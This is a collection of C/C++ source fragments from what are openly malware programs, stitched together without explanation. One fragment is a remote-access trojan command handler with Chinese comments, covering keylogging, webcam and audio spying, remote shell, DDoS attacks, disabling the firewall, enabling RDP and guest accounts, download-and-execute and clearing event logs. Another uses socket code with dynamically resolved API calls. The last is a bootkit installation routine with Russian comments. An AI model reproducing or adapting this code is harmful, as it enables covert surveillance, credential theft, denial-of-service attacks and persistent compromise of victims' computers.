void ManageNewConnection( SOCKET Socket, ULONG uIP, USHORT uCid, USHORT uPort) { pWaitForSingleObject( hThreadMutex, INFINITE ); if ( dwConnections < MAX_CONN ) { Connections[ dwConnections ].thread_s = INVALID_SOCKET; Connections[ dwConnections ].s = Socket; Connections[ dwConnections ].ip = uIP; Connections[ dwConnections ].port = uPort; Connections[ dwConnections ].cid = uCid; Connections[ dwConnections ].bid = (USHORT)dwBid + 1; in_addr in; in.S_un.S_addr = uIP; Connections[ dwConnections ].thread_s = NetConnect( (char*)pinet_ntoa( in ), uPort ); dwBid++; DWORD ThreadId = 0; dwConnections++; Connections[ dwConnections - 1 ].hThread = pCreateThread( NULL, 0, ConnectionThread, (void*)Connections[ dwConnections - 1 ].bid, 0, &ThreadId ); } pReleaseMutex( hThreadMutex ); }
SOCKET MyConnect( char *Host, int Port ) { LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host ); if ( lpHost == NULL ) { return -1; } sockaddr_in SockAddr; SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list; SockAddr.sin_port = (USHORT)phtons( (unsigned short)Port ); ConnectionData connData; connData.SockAddr = SockAddr; for(int i=0; i<3; i++) { SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 ); if( Socket == -1 ) return -1; connData.Socket = Socket; HANDLE ConnectThreadHandle = (HANDLE)pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ConnectThread, &connData, NULL, 0); if((long)pWaitForSingleObject(ConnectThreadHandle, 10000) == WAIT_TIMEOUT) { if((int)pshutdown(Socket, 2) == SOCKET_ERROR) { } pTerminateThread(ConnectThreadHandle, 1); } DWORD exitCode = 0; BOOL res = (BOOL)pGetExitCodeThread(ConnectThreadHandle, &exitCode); //wsprintfA(&str[0], "EC:%d", exitCode); //OutputDebugStringA(&str[0]); if(res && exitCode == 0) return Socket; } return -1; }
// 加上激活 void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { typedef LONG (WINAPI *InterlockedExchangeT) ( __inout LONG volatile *Target, __in LONG Value ); InterlockedExchangeT pInterlockedExchange = (InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InterlockedExchange"); typedef VOID (WINAPI *SleepT) ( __in DWORD dwMilliseconds ); SleepT pSleep = (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep"); typedef HANDLE (WINAPI *CreateThreadT)( __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, __in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTINE lpStartAddress, __in_opt LPVOID lpParameter, __in DWORD dwCreationFlags, __out_opt LPDWORD lpThreadId ); CreateThreadT pCreateThread=(CreateThreadT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreateThread"); typedef BOOL (WINAPI *CloseHandleT) ( __in HANDLE hObject ); char DDZGlGm[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle = (CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DDZGlGm); typedef BOOL (WINAPI *EnumWindowsT)( __in WNDENUMPROC lpEnumFunc, __in LPARAM lParam); EnumWindowsT pEnumWindows=(EnumWindowsT)GetProcAddress(LoadLibrary("USER32.dll"),"EnumWindows"); switch (lpBuffer[0]) { case COMMAND_ACTIVED: pInterlockedExchange((LONG *)&m_bIsActived, true); break; case COMMAND_LIST_DRIVE: // 文件管理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false); break; case COMMAND_SCREEN_SPY: // 屏幕查看 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_WEBCAM: // 摄像头 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_AUDIO: // 声音监听 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SHELL: // 远程sehll m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_KEYBOARD: //键盘记录 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SYSTEM: //系统管理,包括进程,窗口 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SERMANAGER: // 服务管理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SerManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_DDOS_ATTACK: { ATTACK m_Attack; memcpy(&m_Attack,lpBuffer + 1,sizeof(ATTACK)); DDOSManager m_DDOSManager(&m_Attack); } break; case COMMAND_DDOS_STOP: Stoping = FALSE; break; case COMMAND_REGEDIT: //注册表管理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SYSINFO: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SysInfoManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_NET_USER: // 无NET加用户 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)NETUSER, (LPVOID)(lpBuffer + 1), 0, NULL, true); break; case COMMAND_OPEN_PROXY: // 开启代理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)OpenProxy, (LPVOID)(lpBuffer + 1), 0, NULL, true); break; case COMMAND_OPEN_3389: { Open3389((LPCTSTR)(lpBuffer + 1), nSize -2); } break; case COMMAND_GUEST: // 开启GUEST账号 OpenGuest(); break; case COMMAND_STOPFIRE: // 关防火墙 StopFire(); break; case COMMAND_CHANGE_PORT: // 更改终端 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)ChangePort, (LPVOID)(lpBuffer + 1), 0, NULL, true); break; case COMMAND_SENDMSG: { pCloseHandle(pCreateThread(NULL,NULL,Loop_MsgBox,&lpBuffer[1],NULL,NULL)); pSleep(500); } break; case COMMAND_DOWN_EXEC: // 下载者 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager, (LPVOID)(lpBuffer + 1), 0, NULL, true); pSleep(100); // 传递参数用 break; case COMMAND_OPEN_URL_SHOW: // 显示打开网页 OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL); break; case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页 OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE); break; case COMMAND_REMOVE: // 卸载, UnInstallService(); break; case COMMAND_CLEAN_EVENT: // 清除日志 CleanEvent(); break; case COMMAND_SESSION://会话管理 CSystemManager::ShutdownWindows(lpBuffer[1]); break; case COMMAND_RENAME_REMARK: // 改备注 SetHostID((LPCTSTR)(lpBuffer + 1)); break; case COMMAND_CHANGE_GROUP: // 改分组 SetInfo("Group", (LPCTSTR)(lpBuffer + 1), "BITS"); break; case COMMAND_UPDATE_SERVER: // 更新服务端 if (UpdateServer((char *)lpBuffer + 1)) UnInstallService(); break; case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包 break; case COMMAND_SORT_PROCESS: // 进程筛选 try { if (isProcesin((LPTSTR)(lpBuffer + 1))) { BYTE bToken = TOKEN_INFO_YES; m_pClient->Send(&bToken, 1); }else { BYTE bToken = TOKEN_INFO_NO; m_pClient->Send(&bToken, 1); } }catch(...){} break; case COMMAND_SORT_WINDOW: // 窗体筛选 try { strcpy(temp_proc,(LPTSTR)(lpBuffer + 1)); pEnumWindows(EnumWindowsList,0); if (proc_tag) { BYTE bToken = TOKEN_INFO_YES; m_pClient->Send(&bToken, 1); proc_tag = false; }else { BYTE bToken = TOKEN_INFO_NO; m_pClient->Send(&bToken, 1); } }catch(...){} break; } }
// Ф-ция, которая после проверок вызывает события старта в процессе Explorer, // что в свою очередь вызывает установку BkDll BOOL ExplorerMain() { BOOL ret = FALSE; bool BkInstalledSuccess = false; PP_DPRINTF(L"ExplorerMain: started"); // Вызываем событие старта експлорера if ( (DWORD)pGetFileAttributesA(PathBkFile) == INVALID_FILE_ATTRIBUTES) { PP_DPRINTF(L"ExplorerMain: BkFile not exists. Runing ExplorerStart()"); if ( ExplorerStart(NULL) ) { ret = TRUE; BkInstalledSuccess = true; PP_DPRINTF(L"ExplorerMain: ExplorerStart() finished successfuly. Saving 0x00000001 in '%S'", PathBkFile); // Записываем в BkFile 4 байта с единичкой. File::WriteBufferA(PathBkFile,&ret,sizeof(BOOL)); } } else { PP_DPRINTF(L"ExplorerMain: BkFile exists."); ret = TRUE; }; if ( ret ) { // Если проверка находит файл Bk или возвращает успех при установке - // создается файл в системном корне с 4 байтами адреса строки. // Этот файл проверяется ring3 ботом, который запустил дропер буткита. // При нахождении этого файла он будет пытатся удалить себя из автозапуска. PCHAR Path= STR::Alloc(MAX_PATH); PCHAR UID=STR::Alloc(120); pGetSystemDirectoryA(Path,MAX_PATH); GenerateUid(UID); Path[3]='\0'; PCHAR Pref= STR::GetRightStr(UID,"0"); m_lstrcat(Path, Pref); PP_DPRINTF(L"ExplorerMain: Bk installed. Creating file '%S'", Path); File::WriteBufferA(Path,&Path,sizeof(PCHAR)); STR::Free(Pref); STR::Free(UID); STR::Free(Path); }; if (BkInstalledSuccess) { DWORD thid = 0; PP_DPRINTF(L"ExplorerMain: starting reboot thread and reboot notify thread"); pCreateThread(NULL, 0, RebootThread, NULL, 0, &thid); pCreateThread(NULL, 0, RebootNotifyThread, NULL, 0, &thid); } PP_DPRINTF(L"ExplorerMain: finished."); return ret; }